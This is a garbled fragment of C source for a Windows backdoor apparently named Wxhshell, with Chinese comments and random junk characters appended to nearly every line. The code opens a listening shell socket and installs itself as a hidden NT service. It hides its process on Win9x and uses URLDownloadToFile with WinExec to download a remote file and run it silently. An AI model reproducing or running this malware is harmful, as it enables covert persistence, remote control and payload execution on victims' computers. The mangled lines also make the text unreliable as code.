DWORD ExitStatus; jV(6>BAI_
DWORD PebBaseAddress; C3G)'\yL
DWORD AffinityMask; {R/C0-Q^^
DWORD BasePriority; V([~r,
ULONG UniqueProcessId; kdb(I@6
ULONG InheritedFromUniqueProcessId; 5{n*"88
} PROCESS_BASIC_INFORMATION; B||;'
.VTy[|o
PROCNTQSIP NtQueryInformationProcess; K}6dg<
Cy*|&=>j
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l>Ub!^;
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )lJao
{.yStB.T
HANDLE hProcess; ]xguBh ]
PROCESS_BASIC_INFORMATION pbi; E*# ]**
?$e9<lsQq)
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); VUI|.76g
if(NULL == hInst ) return 0; tzy'G"P|
)xb|3&+W
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WM)-J^)BJ
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qF 9NQ;
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k</%YKk
s?ko?qN(
if (!NtQueryInformationProcess) return 0; $T :un.TM
g;ZxvR)ZJk
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ICAH G7 ,
if(!hProcess) return 0; Me6+~"am/
lN9=TxH1(;
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c)@>zto#
*>VVt8*Et
CloseHandle(hProcess); _ Ro!"YVX
l2;CQ7
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E~LTb)
!
if(hProcess==NULL) return 0; 9b?SHzAa
nenU)*o
HMODULE hMod; ~EK'&Y"1
char procName[255]; O5H9Y}i]
unsigned long cbNeeded; hDV20&hq
F@R1:M9*
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3s"0SLS4
PvGDTYcKp
CloseHandle(hProcess); QXF
aAb=(7
w`l{LHrR
if(strstr(procName,"services")) return 1; // 以服务启动 A>{p2?`+!
erVO|<%=R
return 0; // 注册表启动 o[E_Ge}g8
} ,t)x{I;C)
!?^b[
nC%
// 主模块 V5 U?F6
int StartWxhshell(LPSTR lpCmdLine) D~o$GW%
{ 6rS$yjTX!
SOCKET wsl; y<b{Ji e
BOOL val=TRUE;
^Q&u0;OJ
int port=0; pHoEa7:
struct sockaddr_in door; 9}z0J
;W>Y:NCrp
if(wscfg.ws_autoins) Install(); =V"(AuCVE
b=3H
port=atoi(lpCmdLine); WoxwEi1~0
oA1a /[#
if(port<=0) port=wscfg.ws_port; c^`]`xiX
fr!Pj(Q1
WSADATA data; w>b-} t
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `gKf#f
V]EtwA
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ["}rk
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0| ;
.6\
door.sin_family = AF_INET; fL]Pztsk+
door.sin_addr.s_addr = inet_addr("127.0.0.1"); vd6l7"0/
door.sin_port = htons(port); 0EJ(.8hwm
2S' {!A
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZIdA\_c
closesocket(wsl); zXsc1erli
return 1; L4L2O7
} gl&5l1&
$wYFEz
if(listen(wsl,2) == INVALID_SOCKET) { e$Y[Z{T5
closesocket(wsl); pKS
{ 6P
return 1; @*
il3h,
} 16SOIT
Wxhshell(wsl); -+t]15
WSACleanup(); #Km:}=
dJ?XPo"Cm=
return 0; }KhjlPhx
_bD/D!|
} -)vEWn$3<
` ]Ppau
// 以NT服务方式启动 T;L>P[hNn
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lO:.OZu
{ SR*wvQnOx
DWORD status = 0; kM`l
DWORD specificError = 0xfffffff; #P#-xz
7w;O}axI
serviceStatus.dwServiceType = SERVICE_WIN32; c%*($)#
serviceStatus.dwCurrentState = SERVICE_START_PENDING; P,=+W(s9}
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %zU`XVNN+
serviceStatus.dwWin32ExitCode = 0;
Quf_'
serviceStatus.dwServiceSpecificExitCode = 0; ,<DB&&EV8
serviceStatus.dwCheckPoint = 0; U}SXJH&&E
serviceStatus.dwWaitHint = 0; 3sCFHn#c
a^5^gId5l!
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /=uMk]h
if (hServiceStatusHandle==0) return; *)]"27^
9z?oB&5
status = GetLastError(); jEXW
if (status!=NO_ERROR) /J)l /oI
{ `MP|Ovns:H
serviceStatus.dwCurrentState = SERVICE_STOPPED; 7kKy\W
serviceStatus.dwCheckPoint = 0; ^w~23g.
serviceStatus.dwWaitHint = 0; x_|F|9
serviceStatus.dwWin32ExitCode = status; r3rxC&
serviceStatus.dwServiceSpecificExitCode = specificError; qC!&x,}3
SetServiceStatus(hServiceStatusHandle, &serviceStatus); midsnG+jnf
return; JN6-Z2
} \n0Oez0z!B
OPBt$Ki
serviceStatus.dwCurrentState = SERVICE_RUNNING; &4dz}zz90
serviceStatus.dwCheckPoint = 0; G= ^X1+_
serviceStatus.dwWaitHint = 0; >Q,zNs
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); XS~- vF
} ')S;[= v
#sKWd
// 处理NT服务事件,比如:启动、停止 f^e6<5gdf
VOID WINAPI NTServiceHandler(DWORD fdwControl) PCc|}*b
{ /RLq>#:h**
switch(fdwControl) BcA31%
{ 0%s|Zbo!>
case SERVICE_CONTROL_STOP: ihT~xt
serviceStatus.dwWin32ExitCode = 0; x}$e}8|8YL
serviceStatus.dwCurrentState = SERVICE_STOPPED; !~<siy
serviceStatus.dwCheckPoint = 0; =R*Gk4<Y
serviceStatus.dwWaitHint = 0; 0h$GI"dR
{ {mE! Vf
SetServiceStatus(hServiceStatusHandle, &serviceStatus); l^NC]t
} [-*F"}D,
return; M
ixwK,
case SERVICE_CONTROL_PAUSE: ]Pn!nSg
serviceStatus.dwCurrentState = SERVICE_PAUSED; c.H?4j7ga
break; BdbJ< Is
case SERVICE_CONTROL_CONTINUE: -jg (G GJ
serviceStatus.dwCurrentState = SERVICE_RUNNING; z}}]jR\y?
break; $mco0%$
case SERVICE_CONTROL_INTERROGATE: $7I]`Jt
break; jj\ [7 O*
}; cTZ)"^z!
SetServiceStatus(hServiceStatusHandle, &serviceStatus); IN^9uL]B
} J."{<&
c-XLI
// 标准应用程序主函数 nN`"z3o
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a j|5 #
{ X=qS"O 1
B{,
Bno
// 获取操作系统版本 OsW"CF2
OsIsNt=GetOsVer(); nYv#4*
GetModuleFileName(NULL,ExeFile,MAX_PATH); UPCQs",
ZcPUtun
// 从命令行安装 ((3t:
if(strpbrk(lpCmdLine,"iI")) Install(); ` DCU>bt&R
eVnbRT2y&
// 下载执行文件 F 1|zXg)
if(wscfg.ws_downexe) { 3_qdJ<,
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) OKY+M^PP
WinExec(wscfg.ws_filenam,SW_HIDE); ='/Z;3jt]x
} vrcE]5(:s
:B#EqeI
if(!OsIsNt) { }X1.Wt=?
// 如果时win9x,隐藏进程并且设置为注册表启动 XK 3]AYH
HideProc(); ./maY1>T
StartWxhshell(lpCmdLine); |Mg }2!/L
} oW'POAr
else < tQc_
if(StartFromService()) 9G:TW|)L[Q
// 以服务方式启动 _%IqjJO{=r
StartServiceCtrlDispatcher(DispatchTable); NM L|"R;
else u7k|7e=xk
// 普通方式启动 ' Js?N
StartWxhshell(lpCmdLine); `mErF%b
EODB`$+
return 0; ;/Q6i
}